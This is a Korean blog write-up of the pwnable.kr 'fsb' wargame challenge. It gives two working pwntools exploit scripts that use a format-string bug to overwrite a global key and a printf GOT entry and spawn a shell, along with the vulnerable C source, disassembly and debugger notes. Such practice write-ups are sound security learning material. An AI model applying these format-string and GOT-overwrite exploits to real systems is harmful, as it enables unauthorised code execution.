security/포너블 - pwnable.kr

pwnable.kr - [Rookiss] fsb

민사민서 2023. 2. 18. 16:15
from pwn import *

s = ssh(user='fsb', host='pwnable.kr', port=2222,  password='guest')
p = s.process(executable='/home/fsb/fsb')
# p = process("./fsb")

# key = 0x0804a060 = 134520928
# key+4 = 134520932
p.sendafter("(1)\n", "%134520928c%14$n") # esp+0x50에 key 주소
p.sendafter("(2)\n", "%134520932c%15$n") # esp+0x54에 key+4 주소
p.sendafter("(3)\n", "A"*15+"%20$n") # 하위 4byte에 0xf
p.sendafter("(4)\n", "%21$n"+"A"*15) # 상위 4byte에 0x0 저장

p.recvuntil("key : \n")
p.send("15")

p.interactive()

(3),(4)에서 버퍼에 남아있는 포맷스트링의 오작동을 막기 위해 Dummy bytes를 넣어줬는데,

굳이 그럴필요 없이 문자열 끝에 널바이트를 붙여 printf 강제 종료시켜도 됨

from pwn import *

s = ssh(user='fsb', host='pwnable.kr', port=2222,  password='guest')
p = s.process(executable='/home/fsb/fsb')
e = ELF("./fsb")

printf_got = e.got['printf']
call_execve = e.symbols['fsb']+363
p.sendafter("(1)\n", "%{}c%14$n".format(printf_got))
p.sendafter("(2)\n", "%{}c%20$nEND".format(call_execve))
p.recvuntil("END")

p.interactive()
#include <stdio.h>
#include <alloca.h>
#include <fcntl.h>

unsigned long long key; // 8byte
char buf[100];
char buf2[100];

int fsb(char** argv, char** envp){
   char* args[]={"/bin/sh", 0};
   int i;

   char*** pargv = &argv;
   char*** penvp = &envp;
        char** arg;
        char* c;
// argv, envp (문자열 배열) 원소 모두 0으로
        for(arg=argv;*arg;arg++) for(c=*arg; *c;c++) *c='\0'; 
        for(arg=envp;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
   *pargv=0;
   *penvp=0;

   for(i=0; i<4; i++){
      printf("Give me some format strings(%d)\n", i+1);
      read(0, buf, 100);
// fsb 취약점 발생: key 값을 유출하면 된다
      printf(buf);
   }

   printf("Wait a sec...\n");
        sleep(3);

        printf("key : \n");
        read(0, buf2, 100);
// string to unsigned long long: buf2에 저장된 숫자를 10진수로 인식하여 정수로 변환
        unsigned long long pw = strtoull(buf2, 0, 10);
        if(pw == key){
                printf("Congratz!\n");
                execve(args[0], args, 0);
                return 0;
        }

        printf("Incorrect key \n");
   return 0;
}

int main(int argc, char* argv[], char** envp){

   int fd = open("/dev/urandom", O_RDONLY);
// 전역변수 key에 랜덤한 8byte 저장
   if( fd==-1 || read(fd, &key, 8) != 8 ){
      printf("Error, tell admin\n");
      return 0;
   }
   close(fd);

// alloca() 함수는 호출자의 스택 프레임에 size 바이트의 공간을 할당
// alloca함수는 inline함수로 따로 함수를 호출하지않아 gdb로 분석시 어셈블리 코드가 그대로 들어가있다
// 즉 key&0x12345 결과에 30을 더하고, 16으로 나눠 나머지는 버린 값에 다시 16을 곱한만큼 스택 확장
/*
   0x0804874e <+111>:  mov    eax,ds:0x804a060 ; key, 하위 4byte
   0x08048753 <+116>:  mov    edx,DWORD PTR ds:0x804a064 ; key+4, 상위 4byte
   0x08048759 <+122>:  and    eax,0x12345 ; key&0x12345 결과 eax에 저장
   0x0804875e <+127>:  lea    edx,[eax+0xf]
   0x08048761 <+130>:  mov    eax,0x10
   0x08048766 <+135>:  sub    eax,0x1 
   0x08048769 <+138>:  add    eax,edx
   0x0804876b <+140>:  mov    DWORD PTR [ebp-0x1c],0x10
   0x08048772 <+147>:  mov    edx,0x0
   0x08048777 <+152>:  div    DWORD PTR [ebp-0x1c] ; eax를 나눠 몫 eax저장, 나머지 edx 저장
   0x0804877a <+155>:  imul   eax,eax,0x10
   0x0804877d <+158>:  sub    esp,eax // esp 확장됨
*/
   alloca(0x12345 & key);

   fsb(argv, envp); // exploit this format string bug!
   return 0;
}

- Partial RELRO   No canary found   NX enabled    No PIE
- No PIE니까 전역변수 key 주소 고정. (0x804a060)

- 0x08048610 <+220>:   call   0x80483f0 <printf@plt> 여기에 bp 걸고 fsb 일어날 시점에 스택 상태 확인
pwndbg> x/40wx $esp
0xffffaf40:    0x0804a100 0x0804a100 0x00000064 0x00000000
0xffffaf50:    0x00000000 0x00000000 0x00000000 0x00000000
0xffffaf60:    0x00000000 0x08048870 0x00000000 0x00000000
0xffffaf70:    0xffffd1a4 0xffffdfcc 0xffffaf90 0xffffaf94
0xffffaf80:    0x00000000 0x00000000 0xffffcfe8 0x08048791
0xffffaf90:    0x00000000 0x00000000 0x00000000 0x00000000
pwndbg> c
Continuing.
0x804a100 0x64 (nil) (nil) (nil) (nil) ; %p %p %p %p %p %p 입력 시 

- %p는 esp+4부터 차례로 출력된다
- esp+0x38 위치에 스택 주솟값 들어있으므로 %14$n 통해 스택에 key 주솟값 입력
- esp+0x50 위치에 key 주솟값 들어있으므로 %s 통해 8byte leak 가능 (key+8부턴 NULL 차있어서 제대로 문자열 끝남)


<초기 exploit 계획>
- fsb 스택프레임의 SFP 유출시켜 main 함수의 ebp 유출(%18$p). main 함수의 esp도 유출(%14$p).
- main 함수의 esp = ebp+0x4+0x4+0x30+ (alloca에 의해 확장된 영역 sub esp, eax; )
- main 함수의 스택 프레임 크기를 통해 (key&0x12345 + 30)/16 * 16 값을 구한다
- 하지만 이 방법으론 key 8byte를 전부 구하지 못한다

<수정된 exploit 계획>
- 스택에 key 주소를 입력(%134520928c%14$n)하고, 그 주소(%20$s)를 통해 key값을 읽어오자
- key 값 10진수 형태로 buf2에 입력했는데 invalid key라고 뜸


   0x08048676 <+322>:  call   0x8048460 <strtoull@plt>
   0x0804867b <+327>:  mov    edx,eax
   0x0804867d <+329>:  sar    edx,0x1f
   0x08048680 <+332>:  mov    DWORD PTR [ebp-0x30],eax
   0x08048683 <+335>:  mov    DWORD PTR [ebp-0x2c],edx
   0x08048686 <+338>:  mov    eax,ds:0x804a060
   0x0804868b <+343>:  mov    edx,DWORD PTR ds:0x804a064
   0x08048691 <+349>:  mov    ecx,edx
   0x08048693 <+351>:  xor    ecx,DWORD PTR [ebp-0x2c]
   0x08048696 <+354>:  xor    eax,DWORD PTR [ebp-0x30]
   0x08048699 <+357>:  or     eax,ecx
   0x0804869b <+359>:  test   eax,eax
- gdb.attach(p) 한 상태에서 <fsb+327>에 bp 걸고 확인해보자.
- stroull함수 호출 직후 edx에 상위 4byte, eax에 하위 4byte 저장
- mov edx,eax; sar edx,0x1f; 명령어땜에 상위 4byte가 사라진다(0이 된다) ㅠㅠㅠ

<또 수정된 exploit 계획>
- 스택에 key 주소를 입력하고(%14$n, %15$n 이용), key 값을 덮어쓰자 (%20$n, $21$n 이용)
// x86 체계여서 그런지 %ln 해도 4byte밖에 안덮임 ㅠㅠ
- 상위 4byte는 0으로, 하위 4byte는 임의의 값으로~
- 그리고 key 값으로 내가 설정한 값 보내면 됨

<두번째 exploit 계획>
- partial RELRO, no PIE 이므로 GOT overwrite
- %14$n 이용해서 스택에 printf@got 주소 입력 : 0x804a004
- %20$n 이용해 got에 if(pw==key) 통과한 직후 주소 입력 : 0x0804869f <fsb+363>